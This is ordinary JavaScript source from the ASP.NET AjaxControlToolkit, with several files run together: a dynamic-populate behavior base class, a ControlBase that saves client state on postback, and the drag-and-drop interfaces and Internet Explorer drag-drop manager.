        /// <summary>
        /// Initialize the behavior
        /// </summary>

        AjaxControlToolkit.DynamicPopulateBehaviorBase.callBaseMethod(this, 'initialize');

        // Create event handlers
        this._populatingHandler = Function.createDelegate(this, this._onPopulating);
        this._populatedHandler = Function.createDelegate(this, this._onPopulated);
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        // Dispose of event handlers
        if (this._populatedHandler) {
            if (this._dynamicPopulateBehavior) {
                this._dynamicPopulateBehavior.remove_populated(this._populatedHandler);
            }
            this._populatedHandler = null;
        }
        if (this._populatingHandler) {
            if (this._dynamicPopulateBehavior) {
                this._dynamicPopulateBehavior.remove_populating(this._populatingHandler);
            }
            this._populatingHandler = null;
        }

        // Dispose of the placeholder control and behavior
        if (this._dynamicPopulateBehavior) {
            this._dynamicPopulateBehavior.dispose();
            this._dynamicPopulateBehavior = null;
        }
        AjaxControlToolkit.DynamicPopulateBehaviorBase.callBaseMethod(this, 'dispose');
    },

    populate : function(contextKeyOverride) {
        /// <summary>
        /// Demand-create the DynamicPopulateBehavior and use it to populate the target element
        /// </summary>
        /// <param name="contextKeyOverride" type="String" mayBeNull="true" optional="true">
        /// An arbitrary string value to be passed to the web method. For example, if the element to be populated is within a data-bound repeater, this could be the ID of the current row.
        /// </param>

        // If the DynamicPopulateBehavior's element is out of date, dispose of it
        if (this._dynamicPopulateBehavior && (this._dynamicPopulateBehavior.get_element() != $get(this._DynamicControlID))) {
            this._dynamicPopulateBehavior.dispose();
            this._dynamicPopulateBehavior = null;
        }
        
        // If a DynamicPopulateBehavior is not available and the necessary information is, create one
        if (!this._dynamicPopulateBehavior && this._DynamicControlID && this._DynamicServiceMethod) {
            this._dynamicPopulateBehavior = $create(AjaxControlToolkit.DynamicPopulateBehavior,
                {
                    "id" : this.get_id() + "_DynamicPopulateBehavior",
                    "ContextKey" : this._DynamicContextKey,
                    "ServicePath" : this._DynamicServicePath,
                    "ServiceMethod" : this._DynamicServiceMethod,
                    "cacheDynamicResults" : this._cacheDynamicResults
                }, null, null, $get(this._DynamicControlID));

            // Attach event handlers
            this._dynamicPopulateBehavior.add_populating(this._populatingHandler);
            this._dynamicPopulateBehavior.add_populated(this._populatedHandler);
        }
        
        // If a DynamicPopulateBehavior is available, use it to populate the dynamic content
        if (this._dynamicPopulateBehavior) {
            this._dynamicPopulateBehavior.populate(contextKeyOverride ? contextKeyOverride : this._DynamicContextKey);
        }
    },

    _onPopulating : function(sender, eventArgs) {
        /// <summary>
        /// Handler for DynamicPopulate behavior's Populating event
        /// </summary>
        /// <param name="sender" type="Object">
        /// DynamicPopulate behavior
        /// </param>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event args
        /// </param>
        this.raisePopulating(eventArgs);
    },

    _onPopulated : function(sender, eventArgs) {
        /// <summary>
        /// Handler for DynamicPopulate behavior's Populated event
        /// </summary>
        /// <param name="sender" type="Object">
        /// DynamicPopulate behavior
        /// </param>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event args
        /// </param>
        this.raisePopulated(eventArgs);
    },

    get_dynamicControlID : function() {
        /// <value type="String">
        /// ID of the element to populate with dynamic content
        /// </value>
        return this._DynamicControlID;
    },
    get_DynamicControlID : this.get_dynamicControlID,
    set_dynamicControlID : function(value) {
        if (this._DynamicControlID != value) {
            this._DynamicControlID = value;
            this.raisePropertyChanged('dynamicControlID');
            this.raisePropertyChanged('DynamicControlID');
        }
    },
    set_DynamicControlID : this.set_dynamicControlID,

    get_dynamicContextKey : function() {
        /// <value type="String">
        /// An arbitrary string value to be passed to the web method.
        /// For example, if the element to be populated is within a
        /// data-bound repeater, this could be the ID of the current row.
        /// </value>
        return this._DynamicContextKey;
    },
    get_DynamicContextKey : this.get_dynamicContextKey,
    set_dynamicContextKey : function(value) {
        if (this._DynamicContextKey != value) {
            this._DynamicContextKey = value;
            this.raisePropertyChanged('dynamicContextKey');
            this.raisePropertyChanged('DynamicContextKey');
        }
    },
    set_DynamicContextKey : this.set_dynamicContextKey,

    get_dynamicServicePath : function() {
        /// <value type="String" mayBeNull="true" optional="true">
        /// The URL of the web service to call.  If the ServicePath is not defined, then we will invoke a PageMethod instead of a web service.
        /// </value>
        return this._DynamicServicePath;
    },
    get_DynamicServicePath : this.get_dynamicServicePath,
    set_dynamicServicePath : function(value) {
        if (this._DynamicServicePath != value) {
            this._DynamicServicePath = value;
            this.raisePropertyChanged('dynamicServicePath');
            this.raisePropertyChanged('DynamicServicePath');
        }
    },
    set_DynamicServicePath : this.set_dynamicServicePath,

    get_dynamicServiceMethod : function() {
        /// <value type="String">
        /// The name of the method to call on the page or web service
        /// </value>
        /// <remarks>
        /// The signature of the method must exactly match the following:
        ///     [WebMethod]
        ///     string DynamicPopulateMethod(string contextKey)
        ///     {
        ///         ...
        ///     }
        /// </remarks>
        return this._DynamicServiceMethod;
    },
    get_DynamicServiceMethod : this.get_dynamicServiceMethod,
    set_dynamicServiceMethod : function(value) {
        if (this._DynamicServiceMethod != value) {
            this._DynamicServiceMethod = value;
            this.raisePropertyChanged('dynamicServiceMethod');
            this.raisePropertyChanged('DynamicServiceMethod');
        }
    },
    set_DynamicServiceMethod : this.set_dynamicServiceMethod,
    
    get_cacheDynamicResults : function() {
        /// <value type="Boolean" mayBeNull="false">
        /// Whether the results of the dynamic population should be cached and
        /// not fetched again after the first load
        /// </value>
        return this._cacheDynamicResults;
    },
    set_cacheDynamicResults : function(value) {
        if (this._cacheDynamicResults != value) {
            this._cacheDynamicResults = value;
            this.raisePropertyChanged('cacheDynamicResults');
        }
    },
    
    add_populated : function(handler) {
        /// <summary>
        /// Add a handler on the populated event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("populated", handler);
    },
    remove_populated : function(handler) {
        /// <summary>
        /// Remove a handler from the populated event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("populated", handler);
    },
    raisePopulated : function(arg) {
        /// <summary>
        /// Raise the populated event
        /// </summary>
        /// <param name="arg" type="Sys.EventArgs">
        /// Event arguments
        /// </param>
        var handler = this.get_events().getHandler("populated");  
        if (handler) handler(this, arg);
    },
    
    add_populating : function(handler) {
        /// <summary>
        /// Add an event handler for the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populating', handler);
    },
    remove_populating : function(handler) {
        /// <summary>
        /// Remove an event handler from the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populating', handler);
    },
    raisePopulating : function(eventArgs) {
        /// <summary>
        /// Raise the populating event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the populating event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('populating');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.DynamicPopulateBehaviorBase.registerClass('AjaxControlToolkit.DynamicPopulateBehaviorBase', AjaxControlToolkit.BehaviorBase);


AjaxControlToolkit.ControlBase = function(element) {
    AjaxControlToolkit.ControlBase.initializeBase(this, [element]);
    this._clientStateField = null;
    this._callbackTarget = null;
    this._onsubmit$delegate = Function.createDelegate(this, this._onsubmit);
    this._oncomplete$delegate = Function.createDelegate(this, this._oncomplete);
    this._onerror$delegate = Function.createDelegate(this, this._onerror);
}

AjaxControlToolkit.ControlBase.__doPostBack = function(eventTarget, eventArgument) {
    if (!Sys.WebForms.PageRequestManager.getInstance().get_isInAsyncPostBack()) {
        for (var i = 0; i < AjaxControlToolkit.ControlBase.onsubmitCollection.length; i++) {
            AjaxControlToolkit.ControlBase.onsubmitCollection[i]();
        }
    }
    Function.createDelegate(window, AjaxControlToolkit.ControlBase.__doPostBackSaved)(eventTarget, eventArgument);
}

AjaxControlToolkit.ControlBase.prototype = {
    initialize: function() {
        AjaxControlToolkit.ControlBase.callBaseMethod(this, "initialize");
        // load the client state if possible
        if (this._clientStateField) {
            this.loadClientState(this._clientStateField.value);
        }
        // attach an event to save the client state before a postback or updatepanel partial postback
        if (typeof (Sys.WebForms) !== "undefined" && typeof (Sys.WebForms.PageRequestManager) !== "undefined") {
            Array.add(Sys.WebForms.PageRequestManager.getInstance()._onSubmitStatements, this._onsubmit$delegate);
            if (AjaxControlToolkit.ControlBase.__doPostBackSaved == null || typeof AjaxControlToolkit.ControlBase.__doPostBackSaved == "undefined") {
                AjaxControlToolkit.ControlBase.__doPostBackSaved = window.__doPostBack;
                window.__doPostBack = AjaxControlToolkit.ControlBase.__doPostBack;
                AjaxControlToolkit.ControlBase.onsubmitCollection = new Array();
            }
            Array.add(AjaxControlToolkit.ControlBase.onsubmitCollection, this._onsubmit$delegate);
        } else {
            $addHandler(document.forms[0], "submit", this._onsubmit$delegate);
        }
    },
    dispose: function() {
        if (typeof (Sys.WebForms) !== "undefined" && typeof (Sys.WebForms.PageRequestManager) !== "undefined") {
            Array.remove(AjaxControlToolkit.ControlBase.onsubmitCollection, this._onsubmit$delegate);
            Array.remove(Sys.WebForms.PageRequestManager.getInstance()._onSubmitStatements, this._onsubmit$delegate);
        } else {
            $removeHandler(document.forms[0], "submit", this._onsubmit$delegate);
        }
        AjaxControlToolkit.ControlBase.callBaseMethod(this, "dispose");
    },

    findElement: function(id) {
        // <summary>Finds an element within this control (ScriptControl/ScriptUserControl are NamingContainers);
        return $get(this.get_id() + '_' + id.split(':').join('_'));
    },
    get_clientStateField: function() {
        return this._clientStateField;
    },
    set_clientStateField: function(value) {
        if (this.get_isInitialized()) throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_CannotSetClientStateField);
        if (this._clientStateField != value) {
            this._clientStateField = value;
            this.raisePropertyChanged('clientStateField');
        }
    },
    loadClientState: function(value) {
        /// <remarks>override this method to intercept client state loading after a callback</remarks>
    },
    saveClientState: function() {
        /// <remarks>override this method to intercept client state acquisition before a callback</remarks>
        return null;
    },
    _invoke: function(name, args, cb) {
        /// <summary>invokes a callback method on the server control</summary>        
        if (!this._callbackTarget) {
            throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_ControlNotRegisteredForCallbacks);
        }
        if (typeof (WebForm_DoCallback) === "undefined") {
            throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_PageNotRegisteredForCallbacks);
        }
        var ar = [];
        for (var i = 0; i < args.length; i++)
            ar[i] = args[i];
        var clientState = this.saveClientState();
        if (clientState != null && !String.isInstanceOfType(clientState)) {
            throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_InvalidClientStateType);
        }
        var payload = Sys.Serialization.JavaScriptSerializer.serialize({ name: name, args: ar, state: this.saveClientState() });
        WebForm_DoCallback(this._callbackTarget, payload, this._oncomplete$delegate, cb, this._onerror$delegate, true);
    },
    _oncomplete: function(result, context) {
        result = Sys.Serialization.JavaScriptSerializer.deserialize(result);
        if (result.error) {
            throw Error.create(result.error);
        }
        this.loadClientState(result.state);
        context(result.result);
    },
    _onerror: function(message, context) {
        throw Error.create(message);
    },
    _onsubmit: function() {
        if (this._clientStateField) {
            this._clientStateField.value = this.saveClientState();
        }
        return true;
    }

}
AjaxControlToolkit.ControlBase.registerClass("AjaxControlToolkit.ControlBase", Sys.UI.Control);
y// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../../Common/Common.js" />
/// <reference path="../Timer/Timer.js" />


///////////////////////////////////////////////////////////////////////////////
// IDropSource

Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.IDragSource = function() {
}
AjaxControlToolkit.IDragSource.prototype = {
    // Type get_dragDataType()
    get_dragDataType: function() { throw Error.notImplemented(); },
    // Object getDragData(Context)
    getDragData: function() { throw Error.notImplemented(); },
    // DragMode get_dragMode()
    get_dragMode: function() { throw Error.notImplemented(); },
    // void onDragStart()
    onDragStart: function() { throw Error.notImplemented(); },
    // void onDrag()
    onDrag: function() { throw Error.notImplemented(); },
    // void onDragEnd(Cancelled)
    onDragEnd: function() { throw Error.notImplemented(); }
}
AjaxControlToolkit.IDragSource.registerInterface('AjaxControlToolkit.IDragSource');

///////////////////////////////////////////////////////////////////////////////
// IDropTarget
AjaxControlToolkit.IDropTarget = function() {
}
AjaxControlToolkit.IDropTarget.prototype = {
    get_dropTargetElement: function() { throw Error.notImplemented(); },
    // bool canDrop(DragMode, DataType, Data)
    canDrop: function() { throw Error.notImplemented(); },
    // void drop(DragMode, DataType, Data)
    drop: function() { throw Error.notImplemented(); },
    // void onDragEnterTarget(DragMode, DataType, Data)
    onDragEnterTarget: function() { throw Error.notImplemented(); },
    // void onDragLeaveTarget(DragMode, DataType, Data)
    onDragLeaveTarget: function() { throw Error.notImplemented(); },
    // void onDragInTarget(DragMode, DataType, Data)
    onDragInTarget: function() { throw Error.notImplemented(); }
}
AjaxControlToolkit.IDropTarget.registerInterface('AjaxControlToolkit.IDropTarget');

///////////////////////////////////////////////
// DragMode
//

AjaxControlToolkit.DragMode = function() {
    throw Error.invalidOperation();
}
AjaxControlToolkit.DragMode.prototype = {
    Copy: 0,
    Move: 1
}
AjaxControlToolkit.DragMode.registerEnum('AjaxControlToolkit.DragMode');

////////////////////////////////////////////////////////////////////
// DragDropEventArgs
//

AjaxControlToolkit.DragDropEventArgs = function(dragMode, dragDataType, dragData) {
    this._dragMode = dragMode;
    this._dataType = dragDataType;
    this._data = dragData;
}
AjaxControlToolkit.DragDropEventArgs.prototype = {
    get_dragMode: function() {
        return this._dragMode || null;
    },
    get_dragDataType: function() {
        return this._dataType || null;
    },
    get_dragData: function() {
        return this._data || null;
    }
}
AjaxControlToolkit.DragDropEventArgs.registerClass('AjaxControlToolkit.DragDropEventArgs');


AjaxControlToolkit._DragDropManager = function() {
    this._instance = null;
    this._events =  null;
}
AjaxControlToolkit._DragDropManager.prototype = {

    add_dragStart: function(handler) {
        this.get_events().addHandler('dragStart', handler);
    },
    remove_dragStart: function(handler) {
        this.get_events().removeHandler('dragStart', handler);
    },

    get_events: function() {
        // todo: doc comments. this one is commented out (two //) due to a bug with the preprocessor.
        // <value type="Sys.EventHandlerList">
        // </value>
        if (!this._events) {
            this._events = new Sys.EventHandlerList();
        }
        return this._events;
    },

    add_dragStop: function(handler) {
        this.get_events().addHandler('dragStop', handler);
    },
    remove_dragStop: function(handler) {
        this.get_events().removeHandler('dragStop', handler);
    },

    _getInstance: function() {
        if (!this._instance) {
            if (Sys.Browser.agent === Sys.Browser.InternetExplorer) {
                this._instance = new AjaxControlToolkit.IEDragDropManager();
            }
            else {
                this._instance = new AjaxControlToolkit.GenericDragDropManager();
            }
            this._instance.initialize();
            this._instance.add_dragStart(Function.createDelegate(this, this._raiseDragStart));
            this._instance.add_dragStop(Function.createDelegate(this, this._raiseDragStop));
        }
        return this._instance;
    },

    startDragDrop: function(dragSource, dragVisual, context, useBuiltInDragAndDropFunctions) {
        this._getInstance().startDragDrop(dragSource, dragVisual, context, useBuiltInDragAndDropFunctions);
    },

    registerDropTarget: function(target) {
        this._getInstance().registerDropTarget(target);
    },

    unregisterDropTarget: function(target) {
        this._getInstance().unregisterDropTarget(target);
    },

    dispose: function() {
        delete this._events;
        Sys.Application.unregisterDisposableObject(this);
        Sys.Application.removeComponent(this);
    },

    _raiseDragStart: function(sender, eventArgs) {
        var handler = this.get_events().getHandler('dragStart');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    _raiseDragStop: function(sender, eventArgs) {
        var handler = this.get_events().getHandler('dragStop');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit._DragDropManager.registerClass('AjaxControlToolkit._DragDropManager');
AjaxControlToolkit.DragDropManager = new AjaxControlToolkit._DragDropManager();


AjaxControlToolkit.IEDragDropManager = function() {
    AjaxControlToolkit.IEDragDropManager.initializeBase(this);
    
    this._dropTargets = null;
    // Radius of the cursor used to determine what drop target we 
    // are hovering. Anything below the cursor's zone may be a 
    // potential drop target.
    this._radius = 10;
    this._useBuiltInDragAndDropFunctions = true;
    this._activeDragVisual = null;
    this._activeContext = null;
    this._activeDragSource = null;
    this._underlyingTarget = null;
    this._oldOffset = null;
    this._potentialTarget = null;
    this._isDragging = false;
    this._mouseUpHandler = null;
    this._documentMouseMoveHandler = null;
    this._documentDragOverHandler = null;
    this._dragStartHandler = null;
    this._mouseMoveHandler = null;
    this._dragEnterHandler = null;
    this._dragLeaveHandler = null;
    this._dragOverHandler = null;
    this._dropHandler = null;
}
AjaxControlToolkit.IEDragDropManager.prototype = {

    add_dragStart: function(handler) {
        this.get_events().addHandler("dragStart", handler);
    },

    remove_dragStart: function(handler) {
        this.get_events().removeHandler("dragStart", handler);
    },

    add_dragStop: function(handler) {
        this.get_events().addHandler("dragStop", handler);
    },

    remove_dragStop: function(handler) {
        this.get_events().removeHandler("dragStop", handler);
    },

    initialize: function() {
        AjaxControlToolkit.IEDragDropManager.callBaseMethod(this, 'initialize');
        this._mouseUpHandler = Function.createDelegate(this, this._onMouseUp);
        this._documentMouseMoveHandler = Function.createDelegate(this, this._onDocumentMouseMove);
        this._documentDragOverHandler = Function.createDelegate(this, this._onDocumentDragOver);
        this._dragStartHandler = Function.createDelegate(this, this._onDragStart);
        this._mouseMoveHandler = Function.createDelegate(this, this._onMouseMove);
        this._dragEnterHandler = Function.createDelegate(this, this._onDragEnter);
        this._dragLeaveHandler = Function.createDelegate(this, this._onDragLeave);
        this._dragOverHandler = Function.createDelegate(this, this._onDragOver);
        this._dropHandler = Function.createDelegate(this, this._onDrop);
    },


    dispose: function() {
        if (this._dropTargets) {
            for (var i = 0; i < this._dropTargets; i++) {
                this.unregisterDropTarget(this._dropTargets[i]);
            }
            this._dropTargets = null;
        }

        AjaxControlToolkit.IEDragDropManager.callBaseMethod(this, 'dispose');
    },


    startDragDrop: function(dragSource, dragVisual, context, useBuiltInDragAndDropFunctions) {
        var ev = window._event;

        // Don't allow drag and drop if there is another active drag operation going on.
        if (this._isDragging) {
            return;
        }

        this._underlyingTarget = null;
        this._activeDragSource = dragSource;
        this._activeDragVisual = dragVisual;
        this._activeContext = context;
        this._useBuiltInDragAndDropFunctions = typeof (useBuiltInDragAndDropFunctions) != 'undefined' ? useBuiltInDragAndDropFunctions : true;

        var mousePosition = { x: ev.clientX, y: ev.clientY };

        // By default we use absolute positioning, unless a different type 
        // of positioning is set explicitly.
        dragVisual.originalPosition = dragVisual.style.position;
        dragVisual.style.position = "absolute";

        document._lastPosition = mousePosition;
        dragVisual.startingPoint = mousePosition;
        var scrollOffset = this.getScrollOffset(dragVisual, /* recursive */true);

        dragVisual.startingPoint = this.addPoints(dragVisual.startingPoint, scrollOffset);

        var left = parseInt(dragVisual.style.left);
        var top = parseInt(dragVisual.style.top);
        if (isNaN(left)) left = "0";
        if (isNaN(top)) top = "0";

        dragVisual.startingPoint = this.subtractPoints(dragVisual.startingPoint, { x: left, y: top });

        // Monitor DOM changes.
        this._prepareForDomChanges();
        dragSource.onDragStart();
        var eventArgs = new AjaxControlToolkit.DragDropEventArgs(
            dragSource.get_dragMode(),
            dragSource.get_dragDataType(),
            dragSource.getDragData(context));
        var handler = this.get_events().getHandler('dragStart');
        if (handler) handler(this, eventArgs);
        this._recoverFromDomChanges();

        this._wireEvents();

        this._drag(/* isInitialDrag */true);
    },


    _stopDragDrop: function(cancelled) {
        var ev = window._event;
        if (this._activeDragSource != null) {
            this._unwireEvents();

            if (!cancelled) {
                // The drag operation is cancelled if there 
                // is no drop target.
                cancelled = (this._underlyingTarget == null);
            }

            if (!cancelled && this._underlyingTarget != null) {
                this._underlyingTarget.drop(this._activeDragSource.get_dragMode(), this._activeDragSource.get_dragDataType(),
                    this._activeDragSource.getDragData(this._activeContext));
            }

            this._activeDragSource.onDragEnd(cancelled);
            var handler = this.get_events().getHandler('dragStop');
            if (handler) handler(this, Sys.EventArgs.Empty);

            this._activeDragVisual.style.position = this._activeDragVisual.originalPosition;

            this._activeDragSource = null;
            this._activeContext = null;
            this._activeDragVisual = null;
            this._isDragging = false;
            this._potentialTarget = null;
            ev.preventDefault();
        }
    },

    _drag: function(isInitialDrag) {
        var ev = window._event;
        var mousePosition = { x: ev.clientX, y: ev.clientY };

        // NOTE: We store the event object to be able to determine the current 
        // mouse position in Mozilla in other event handlers such as keydown.
        document._lastPosition = mousePosition;

        var scrollOffset = this.getScrollOffset(this._activeDragVisual, /* recursive */true);
        var position = this.addPoints(this.subtractPoints(mousePosition, this._activeDragVisual.startingPoint), scrollOffset);

        // Check if the visual moved at all.
        if (!isInitialDrag && parseInt(this._activeDragVisual.style.left) == position.x && parseInt(this._activeDragVisual.style.top) == position.y) {
            return;
        }

        $common.setLocation(this._activeDragVisual, position);

        // Monitor DOM changes.
        this._prepareForDomChanges();
        this._activeDragSource.onDrag();
        this._recoverFromDomChanges();

        // Find a potential target.
        this._potentialTarget = this._findPotentialTarget(this._activeDragSource, this._activeDragVisual);

        var movedToOtherTarget = (this._potentialTarget != this._underlyingTarget || this._potentialTarget == null);
        // Check if we are leaving an underlying target.
        if (movedToOtherTarget && this._underlyingTarget != null) {
            this._leaveTarget(this._activeDragSource, this._underlyingTarget);
        }

        if (this._potentialTarget != null) {
            // Check if we are entering a new target.
            if (movedToOtherTarget) {
                this._underlyingTarget = this._potentialTarget;

                // Enter the new target.
                this._enterTarget(this._activeDragSource, this._underlyingTarget);
            }
            else {
                this._moveInTarget(this._activeDragSource, this._underlyingTarget);
            }
        }
        else {
            this._underlyingTarget = null;
        }
    },


    _wireEvents: function() {
        if (this._useBuiltInDragAndDropFunctions) {
            $addHandler(document, "mouseup", this._mouseUpHandler);
            $addHandler(document, "mousemove", this._documentMouseMoveHandler);
            $addHandler(document.body, "dragover", this._documentDragOverHandler);

            $addHandler(this._activeDragVisual, "dragstart", this._dragStartHandler);
            $addHandler(this._activeDragVisual, "dragend", this._mouseUpHandler);
            $addHandler(this._activeDragVisual, "drag", this._mouseMoveHandler);
        } else {
            $addHandler(document, "mouseup", this._mouseUpHandler);
            $addHandler(document, "mousemove", this._mouseMoveHandler);
        }
    },


    _unwireEvents: function() {
        if (this._useBuiltInDragAndDropFunctions) {
            $removeHandler(this._activeDragVisual, "drag", this._mouseMoveHandler);
            $removeHandler(this._activeDragVisual, "dragend", this._mouseUpHandler);
            $removeHandler(this._activeDragVisual, "dragstart", this._dragStartHandler);

            $removeHandler(document.body, "dragover", this._documentDragOverHandler);
            $removeHandler(document, "mousemove", this._documentMouseMoveHandler);
            $removeHandler(document, "mouseup", this._mouseUpHandler);
        } else {
            $removeHandler(document, "mousemove", this._mouseMoveHandler);
            $removeHandler(document, "mouseup", this._mouseUpHandler);
        }
    },


    registerDropTarget: function(dropTarget) {
        if (this._dropTargets == null) {
            this._dropTargets = [];
        }
        Array.add(this._dropTargets, dropTarget);

        this._wireDropTargetEvents(dropTarget);
    },


    unregisterDropTarget: function(dropTarget) {
        this._unwireDropTargetEvents(dropTarget);
        if (this._dropTargets) {
            Array.remove(this._dropTargets, dropTarget);
        }
    },


    _wireDropTargetEvents: function(dropTarget) {
        var associatedElement = dropTarget.get_dropTargetElement();
        associatedElement._dropTarget = dropTarget;
        $addHandler(associatedElement, "dragenter", this._dragEnterHandler);
        $addHandler(associatedElement, "dragleave", this._dragLeaveHandler);
        $addHandler(associatedElement, "dragover", this._dragOverHandler);
        $addHandler(associatedElement, "drop", this._dropHandler);
    },


    _unwireDropTargetEvents: function(dropTarget) {
        var associatedElement = dropTarget.get_dropTargetElement();
        // make sure that the handlers are not removed twice
        if (associatedElement._dropTarget) {
            associatedElement._dropTarget = null;
            $removeHandler(associatedElement, "dragenter", this._dragEnterHandler);
            $removeHandler(associatedElement, "dragleave", this._dragLeaveHandler);
            $removeHandler(associatedElement, "dragover", this._dragOverHandler);
            $removeHandler(associatedElement, "drop", this._dropHandler);
        }
    },


    _onDragStart: function(ev) {
        window._event = ev;
        document.selection.empty();

        var dt = ev.dataTransfer;
        if (!dt && ev.rawEvent) dt = ev.rawEvent.dataTransfer;

        var dataType = this._activeDragSource.get_dragDataType().toLowerCase();
        var data = this._activeDragSource.getDragData(this._activeContext);

        if (data) {
            // TODO: How do we want to deal with 'non-compatible types'?
            if (dataType != "text" && dataType != "url") {
                dataType = "text";

                if (data.innerHTML != null) {
                    data = data.innerHTML;
                }
            }

            dt.effectAllowed = "move";
            dt.setData(dataType, data.toString());
        }
    },

    _onMouseUp: function(ev) {
        window._event = ev;
        this._stopDragDrop(false);
    },

    _onDocumentMouseMove: function(ev) {
        window._event = ev;
        this._dragDrop();
    },

    _onDocumentDragOver: function(ev) {
        window._event = ev;
        if (this._potentialTarget) ev.preventDefault();
        //ev.returnValue = (_potentialTarget == null);
    },

    _onMouseMove: function(ev) {
        window._event = ev;
        this._drag();
    },

    _onDragEnter: function(ev) {
        window._event = ev;
        if (this._isDragging) {
            ev.preventDefault();
            //ev.returnValue = false;
        }
        else {
            // An external object is dragged to the drop target.
            var dataObjects = AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(ev.target));
            for (var i = 0; i < dataObjects.length; i++) {
                this._dropTarget.onDragEnterTarget(AjaxControlToolkit.DragMode.Copy, dataObjects[i].type, dataObjects[i].value);
            }
        }
    },

    _onDragLeave: function(ev) {
        window._event = ev;
        if (this._isDragging) {
            ev.preventDefault();
            //ev.returnValue = false;
        }
        else {
            // An external object is dragged to the drop target.
            var dataObjects = AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(ev.target));
            for (var i = 0; i < dataObjects.length; i++) {
                this._dropTarget.onDragLeaveTarget(AjaxControlToolkit.DragMode.Copy, dataObjects[i].type, dataObjects[i].value);
            }
        }
    },

    _onDragOver: function(ev) {
        window._event = ev;
        if (this._isDragging) {
            ev.preventDefault();
            //ev.returnValue = false;
        }
        else {
            // An external object is dragged over the drop target.
            var dataObjects = AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(ev.target));
            for (var i = 0; i < dataObjects.length; i++) {
                this._dropTarget.onDragInTarget(AjaxControlToolkit.DragMode.Copy, dataObjects[i].type, dataObjects[i].value);
            }
        }
    },

    _onDrop: function(ev) {
        window._event = ev;
        if (!this._isDragging) {
            // An external object is dropped on the drop target.
            var dataObjects = AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget(this._getDropTarget(ev.target));
            for (var i = 0; i < dataObjects.length; i++) {
                this._dropTarget.drop(AjaxControlToolkit.DragMode.Copy, dataObjects[i].type, dataObjects[i].value);
            }
        }
        ev.preventDefault();
        //ev.returnValue = false;
    },

    _getDropTarget: function(element) {
        while (element) {
            if (element._dropTarget != null) {
                return element._dropTarget;
            }
            element = element.parentNode;
        }
        return null;
    },

    _dragDrop: function() {
        if (this._isDragging) {
            return;
        }

        this._isDragging = true;
        this._activeDragVisual.dragDrop();
        document.selection.empty();
    },

    _moveInTarget: function(dragSource, dropTarget) {
        // Monitor DOM changes.
        this._prepareForDomChanges();
        dropTarget.onDragInTarget(dragSource.get_dragMode(), dragSource.get_dragDataType(), dragSource.getDragData(this._activeContext));
        this._recoverFromDomChanges();
    },

    _enterTarget: function(dragSource, dropTarget) {
        // Monitor DOM changes.
        this._prepareForDomChanges();
        dropTarget.onDragEnterTarget(dragSource.get_dragMode(), dragSource.get_dragDataType(), dragSource.getDragData(this._activeContext));
        this._recoverFromDomChanges();
    },

    _leaveTarget: function(dragSource, dropTarget) {
        // Monitor DOM changes.
        this._prepareForDomChanges();
        dropTarget.onDragLeaveTarget(dragSource.get_dragMode(), dragSource.get_dragDataType(), dragSource.getDragData(this._activeContext));
        this._recoverFromDomChanges();
    },

    _findPotentialTarget: function(dragSource, dragVisual) {
        var ev = window._event;

        if (this._dropTargets == null) {
            return null;
        }

        var type = dragSource.get_dragDataType();
        var mode = dragSource.get_dragMode();
        var data = dragSource.getDragData(this._activeContext);

        // Get the current cursor location.
        var scrollOffset = this.getScrollOffset(document.body, /* recursive */true);
        var x = ev.clientX + scrollOffset.x;
        var y = ev.clientY + scrollOffset.y;
        var cursorRect = { x: x - this._radius, y: y - this._radius, width: this._radius * 2, height: this._radius * 2 };

        // Find any targets near the current cursor location.
        var targetRect;
        for (var i = 0; i < this._dropTargets.length; i++) {
            targetRect = $common.getBounds(this._dropTargets[i].get_dropTargetElement());
            if ($common.overlaps(cursorRect, targetRect) && this._dropTargets[i].canDrop(mode, type, data)) {
                return this._dropTargets[i];
            }
        }

        return null;
    },

    _prepareForDomChanges: function() {
        this._oldOffset = $common.getLocation(this._activeDragVisual);
    },

    _recoverFromDomChanges: function() {
        var newOffset = $common.getLocation(this._activeDragVisual);
        if (this._oldOffset.x != newOffset.x || this._oldOffset.y != newOffset.y) {
            this._activeDragVisual.startingPoint = this.subtractPoints(this._activeDragVisual.startingPoint, this.subtractPoints(this._oldOffset, newOffset));
            scrollOffset = this.getScrollOffset(this._activeDragVisual, /* recursive */true);
            var position = this.addPoints(this.subtractPoints(document._lastPosition, this._activeDragVisual.startingPoint), scrollOffset);
            $common.setLocation(this._activeDragVisual, position);
        }
    },

    addPoints: function(p1, p2) {
        return { x: p1.x + p2.x, y: p1.y + p2.y };
    },

    subtractPoints: function(p1, p2) {
        return { x: p1.x - p2.x, y: p1.y - p2.y };
    },

    // -- Drag and drop helper methods.
